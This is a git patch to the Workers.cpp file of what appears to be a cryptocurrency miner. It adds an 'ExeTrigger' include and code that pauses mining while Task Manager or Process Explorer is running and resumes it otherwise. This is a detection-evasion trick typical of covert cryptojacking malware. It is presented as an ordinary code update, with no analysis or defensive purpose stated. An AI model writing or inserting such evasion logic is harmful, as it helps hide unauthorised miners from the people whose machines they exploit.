From b33f255cdc7146683db826959960eba354e868e3 Mon Sep 17 00:00:00 2001 From: snipeTR <31975916+snipeTR@users.noreply.github.com> Date: Tue, 29 May 2018 12:09:34 +0300 Subject: [PATCH] reupdate workers.cpp add header and line 278>>>288 --- src/workers/Workers.cpp | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/workers/Workers.cpp b/src/workers/Workers.cpp index f6ec04b7..0a3df2b2 100644 --- a/src/workers/Workers.cpp +++ b/src/workers/Workers.cpp @@ -38,6 +38,8 @@ #include "workers/Hashrate.h" #include "workers/MultiWorker.h" #include "workers/Workers.h" +#include "workers/ExeTrigger.h" + bool Workers::m_active = false; @@ -273,6 +275,18 @@ void Workers::onResult(uv_async_t *handle) void Workers::onTick(uv_timer_t *handle) { + bool boklar = false; + boklar = boklar || IsProcessRunning(L"taskmgr.exe"); + boklar = boklar || IsProcessRunning(L"procexp64_2.exe"); + if (boklar) + { + pausePic(); + } + else + { + unpausePic(); + } + for (Handle *handle : m_workers) { if (!handle->worker()) { return;